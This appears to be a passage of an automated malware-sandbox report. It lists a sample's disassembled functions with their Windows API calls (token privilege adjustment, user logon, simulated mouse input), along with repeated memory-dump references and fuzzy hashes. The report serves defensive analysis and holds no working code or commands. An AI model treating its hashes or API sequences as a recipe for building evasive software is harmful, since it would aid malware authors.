                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Internet$AvailableDataFileQueryRead
                                                          • String ID:
                                                          • API String ID: 599397726-0
                                                          • Opcode ID: e4c3bb4f4a74dbcca37c04cd3093916b6526783babd41769358fe1bf777e5286
                                                          • Instruction ID: a56704a3e74a82fdf6937e1379407d67132c3be34faee21fad2c84a2f4a7f702
                                                          • Opcode Fuzzy Hash: e4c3bb4f4a74dbcca37c04cd3093916b6526783babd41769358fe1bf777e5286
                                                          • Instruction Fuzzy Hash: 6D41B271A04A09BFEF10DE95DC85FBB7FACFB80315F10446AF605A7240EB759E81A660
                                                          Function 0055B333 Relevance: 4.6, APIs: 3, Instructions: 73COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetErrorMode.KERNEL32(00000001), ref: 0055B343
                                                          • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0055B39D
                                                          • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0055B3EA
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$DiskFreeSpace
                                                          • String ID:
                                                          • API String ID: 1682464887-0
                                                          • Opcode ID: c1f4fb2c0712b1945028043dc9e4c1d5c9d5e39ac799a001d1fd8788e0176a47
                                                          • Instruction ID: a0d8213161cad1f7a6d2ea48e232ce43f60a2b4e623b957e26a55c835f5cf92d
                                                          • Opcode Fuzzy Hash: c1f4fb2c0712b1945028043dc9e4c1d5c9d5e39ac799a001d1fd8788e0176a47
                                                          • Instruction Fuzzy Hash: DF219035A00108EFCB00EFA5D884EEDBBB8FF49314F1480AAE905AB351CB319959DF50
                                                          Function 005487E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0054882B
                                                          • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00548858
                                                          • GetLastError.KERNEL32 ref: 00548865
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AdjustErrorLastLookupPrivilegePrivilegesTokenValue
                                                          • String ID:
                                                          • API String ID: 4244140340-0
                                                          • Opcode ID: 35a905fa24f36f1083a9e6a55d31d5b31e4a17d04beff8b35e179a7ab2adee2d
                                                          • Instruction ID: 8e6d9c5d09189508c70ce327fc2c69c2cc9e0cd206c451481ae90e514684e2e2
                                                          • Opcode Fuzzy Hash: 35a905fa24f36f1083a9e6a55d31d5b31e4a17d04beff8b35e179a7ab2adee2d
                                                          • Instruction Fuzzy Hash: D21160B1414205AFE718DF94EC89D7BBBA8FB45714B10852EE45697241EA70BC849B60
                                                          Function 0054874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00548774
                                                          • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 0054878B
                                                          • FreeSid.ADVAPI32(?), ref: 0054879B
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AllocateCheckFreeInitializeMembershipToken
                                                          • String ID:
                                                          • API String ID: 3429775523-0
                                                          • Opcode ID: 61ee71e6b0c9aac85850f89a7605ac72197466f1060e6d6ef6798203d58e3d55
                                                          • Instruction ID: 22fd163adb208702e2f31870b5402d02e315c903a1aa47dfb89ae03858f5be7c
                                                          • Opcode Fuzzy Hash: 61ee71e6b0c9aac85850f89a7605ac72197466f1060e6d6ef6798203d58e3d55
                                                          • Instruction Fuzzy Hash: C8F03C75951208BBDB00DFE49C89AADBBB8EF08201F1044A9A506E2281D6715A489B50
                                                          Function 00503030 Relevance: 3.1, Strings: 2, Instructions: 587COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: 3cP$_P
                                                          • API String ID: 0-1684181656
                                                          • Opcode ID: 168586ee69008781272271b7e60859d586ce7e71d40a265774f327556d7e8af4
                                                          • Instruction ID: 78731eae2e597789d560aa56188a473b7b8c0efd7046c3fcfc2d81220d5267b5
                                                          • Opcode Fuzzy Hash: 168586ee69008781272271b7e60859d586ce7e71d40a265774f327556d7e8af4
                                                          • Instruction Fuzzy Hash: 24227A716083019FDB24DF14C885BAEBBE8BF84714F00891DF99A9B291DB75ED44CB92
                                                          Function 0055C6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FindFirstFileW.KERNEL32(?,?), ref: 0055C6FB
                                                          • FindClose.KERNEL32(00000000), ref: 0055C72B
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Find$CloseFileFirst
                                                          • String ID:
                                                          • API String ID: 2295610775-0
                                                          • Opcode ID: 4dde2018124504c540a36dafe81cf9e0a00f33a9199ab91eaa43c14117b19992
                                                          • Instruction ID: 6e6b80a53c909886db62718e6690380a309b34db445577b59ae6da4374a98d1a
                                                          • Opcode Fuzzy Hash: 4dde2018124504c540a36dafe81cf9e0a00f33a9199ab91eaa43c14117b19992
                                                          • Instruction Fuzzy Hash: 8D11A5716106049FDB10EF29D845A6AFBE4FF85365F00851EF9A9C7291DB34AC05CF81
                                                          Function 0055A06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00569468,?,0057FB84,?), ref: 0055A097
                                                          • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00569468,?,0057FB84,?), ref: 0055A0A9
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorFormatLastMessage
                                                          • String ID:
                                                          • API String ID: 3479602957-0
                                                          • Opcode ID: c6cfc377fe5609786902ebe2a36cd89d8c6e622ebea71a5c86ca75441f84a10c
                                                          • Instruction ID: 3390c77df421b065a9ddc50b49d020ad3071482c51e16ff6c40f361b5bc47a64
                                                          • Opcode Fuzzy Hash: c6cfc377fe5609786902ebe2a36cd89d8c6e622ebea71a5c86ca75441f84a10c
                                                          • Instruction Fuzzy Hash: 9BF0823511522DABDB219FA4EC48FFA776CBF09361F004266F909D6191D6309944DBA1
                                                          Function 005481CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00548309), ref: 005481E0
                                                          • CloseHandle.KERNEL32(?,?,00548309), ref: 005481F2
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AdjustCloseHandlePrivilegesToken
                                                          • String ID:
                                                          • API String ID: 81990902-0
                                                          • Opcode ID: a318221ec4489f3c4bfa324bb6be7bc72928341667af1b982b9acd5cbc6499ff
                                                          • Instruction ID: 1fa029d91be3c09327e1137bdb4160c4a26ea2899dad60900a5d751377636eb8
                                                          • Opcode Fuzzy Hash: a318221ec4489f3c4bfa324bb6be7bc72928341667af1b982b9acd5cbc6499ff
                                                          • Instruction Fuzzy Hash: 42E0B672010611AEE7256B61FC09DB77BAEFF44315714992DB8AA84470DB62ACE1EB10
                                                          Function 0051A155 Relevance: 3.0, APIs: 2, Instructions: 8COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetUnhandledExceptionFilter.KERNEL32(00000000,?,00518D57,?,?,?,00000001), ref: 0051A15A
                                                          • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 0051A163
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ExceptionFilterUnhandled
                                                          • String ID:
                                                          • API String ID: 3192549508-0
                                                          • Opcode ID: 8fab2de5ae6bc35f2a325b0e388f76c303b94ce241d9f42e2b3a551d94647501
                                                          • Instruction ID: bbcdf975888404d180a055a197a5acda3051bbeba439ad35ff756a444cfc4b6d
                                                          • Opcode Fuzzy Hash: 8fab2de5ae6bc35f2a325b0e388f76c303b94ce241d9f42e2b3a551d94647501
                                                          • Instruction Fuzzy Hash: 8BB09231054208ABCA00AB91FC0DB883F68EB54AAAF404420F60D84060CB625494BB91
                                                          Function 00517696 Relevance: 2.9, Strings: 2, Instructions: 371COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: a/p$am/pm
                                                          • API String ID: 0-3206640213
                                                          • Opcode ID: 56c0e2c597d5d36df7bfc066e4e94587063d68aa6c0d442bbc78fd5fd8c79125
                                                          • Instruction ID: 0c1f2c29cf6953a0e4474b44c631974c2f112fc02f2d9e0358eb133eb5417c96
                                                          • Opcode Fuzzy Hash: 56c0e2c597d5d36df7bfc066e4e94587063d68aa6c0d442bbc78fd5fd8c79125
                                                          • Instruction Fuzzy Hash: 6CC1AD3591821E9AEB249F5CC8846FEBFB1FF4D710F284459D906AB240E7355EC1CBA1
                                                          Function 0051CB21 Relevance: 1.8, APIs: 1, Instructions: 268COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,0000FFFF), ref: 0051CD4C
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ExceptionRaise
                                                          • String ID:
                                                          • API String ID: 3997070919-0
                                                          • Opcode ID: c9b38fe1dc6c8c0af0e74a37f49ead48409ad867265279f770864f101fdb1a5c
                                                          • Instruction ID: 3f22daa2ccb654d465d637f2fd21b31c3c68db3326468f5a8e99fe65c782755a
                                                          • Opcode Fuzzy Hash: c9b38fe1dc6c8c0af0e74a37f49ead48409ad867265279f770864f101fdb1a5c
                                                          • Instruction Fuzzy Hash: DCB15C316106489FE715CF28C486BA57FE0FF45364F258668E8AACF2A1C336DD91CB80
                                                          Function 0051862B Relevance: 1.6, APIs: 1, Instructions: 115COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00518644
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FeaturePresentProcessor
                                                          • String ID:
                                                          • API String ID: 2325560087-0
                                                          • Opcode ID: 1d4560c7133916eae8de26aa5b3f9dd8c4676d1ec98d743c330e37c9944ce576
                                                          • Instruction ID: 8ca0a8ad444ff58956ba6203f54a0c499fb76f1339ff6a5cd1a20bf158c49405
                                                          • Opcode Fuzzy Hash: 1d4560c7133916eae8de26aa5b3f9dd8c4676d1ec98d743c330e37c9944ce576
                                                          • Instruction Fuzzy Hash: D341C2B1D006129BEB24CF59E4967BABFE4FB65314F24842ED415E72A0C774B884CF41
                                                          Function 00554C53 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 00554C76
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: mouse_event
                                                          • String ID:
                                                          • API String ID: 2434400541-0
                                                          • Opcode ID: 63c53746d7df963625d11b4979c651a7a154186e78892b0918688593eaf160d8
                                                          • Instruction ID: e78eada64a722db161adf355ab428533727ede5d55fc77a51654465eb0910f96
                                                          • Opcode Fuzzy Hash: 63c53746d7df963625d11b4979c651a7a154186e78892b0918688593eaf160d8
                                                          • Instruction Fuzzy Hash: 0AD05EB012220939EE2847689D7FF7A1909F3C179BF84854B7A42850C0E8D05CCCBC34
                                                          Function 005487B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00548389), ref: 005487D1
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: LogonUser
                                                          • String ID:
                                                          • API String ID: 1244722697-0
                                                          • Opcode ID: 27a213345a7363558ee18602473c40b594d5d49db69207fc3ca10b01efe7fb87
                                                          • Instruction ID: 901f2e78f7644429c83983b156596b8cfb9208d07da616d6bcce66afbf3e2f01
                                                          • Opcode Fuzzy Hash: 27a213345a7363558ee18602473c40b594d5d49db69207fc3ca10b01efe7fb87
                                                          • Instruction Fuzzy Hash: F1D05E3226450EABEF018EA4EC05EAE3B69EB04B01F408111FE16C61A1C775D835AB60
                                                          Function 0051A124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetUnhandledExceptionFilter.KERNEL32(?), ref: 0051A12A
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ExceptionFilterUnhandled
                                                          • String ID:
                                                          • API String ID: 3192549508-0
                                                          • Opcode ID: eed6e0e62f11923f3c356568766bcd2b0942c1c382bf977baa1171530080eb42
                                                          • Instruction ID: a6df6eb9925be787c0bcc7cbe0e12db5cbb263a3d67fd675ee00be5a3d244260
                                                          • Opcode Fuzzy Hash: eed6e0e62f11923f3c356568766bcd2b0942c1c382bf977baa1171530080eb42
                                                          • Instruction Fuzzy Hash: 88A0113000020CAB8A00AB82FC08888BFACEB002A8B008020F80C800228B32A8A0AA80
                                                          Function 00558889 Relevance: 1.3, Strings: 1, Instructions: 68COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Time$FileSystem
                                                          • String ID: 0e[
                                                          • API String ID: 2086374402-1058614044
                                                          • Opcode ID: abbdb681f3f65f58db4724eca2e035f6087152ab8aaf3f224abf5ae30a2f45e6
                                                          • Instruction ID: 11dc1bc6f1c9da80a76e66d21bdf82b6e2c739ab4edefbbe2f37691358eea1c2
                                                          • Opcode Fuzzy Hash: abbdb681f3f65f58db4724eca2e035f6087152ab8aaf3f224abf5ae30a2f45e6
                                                          • Instruction Fuzzy Hash: 9C21E432635610CBC329CF29D851A62B7E5EFA4311B688F6CD4F6CB2C0CA34B909DB54
                                                          Function 0052878F Relevance: .7, Instructions: 689COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 04629d8d6ffbb3c38ff385cb409cad17d6b18a4112641fc24d440710438ac8a3
                                                          • Instruction ID: 04594ec1f524aab8dd06f123b0c453afa05e1f0ad82b219b0bee1475f3cb548f
                                                          • Opcode Fuzzy Hash: 04629d8d6ffbb3c38ff385cb409cad17d6b18a4112641fc24d440710438ac8a3
                                                          • Instruction Fuzzy Hash: 2B326771E026698FDB24CEE8E4503BDBBF6BF4A310F64852AD855AB2C5DB349C41CB40
                                                          Function 0051F1D9 Relevance: .6, Instructions: 645COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 21064776f27829291c8780c7cf8ad007a4f11bf427dc3cf1e5f20c5b2b8ca9db
                                                          • Instruction ID: 5f11cac53d58fa0e48aae67a2fc17f90f77d6b51f6e5296eba39b86eb4bd5d8c
                                                          • Opcode Fuzzy Hash: 21064776f27829291c8780c7cf8ad007a4f11bf427dc3cf1e5f20c5b2b8ca9db
                                                          • Instruction Fuzzy Hash: 0232F131D29F054DE7239634D822335A649AFB73D5F25E737EC2AB59A6EB28C4C35200
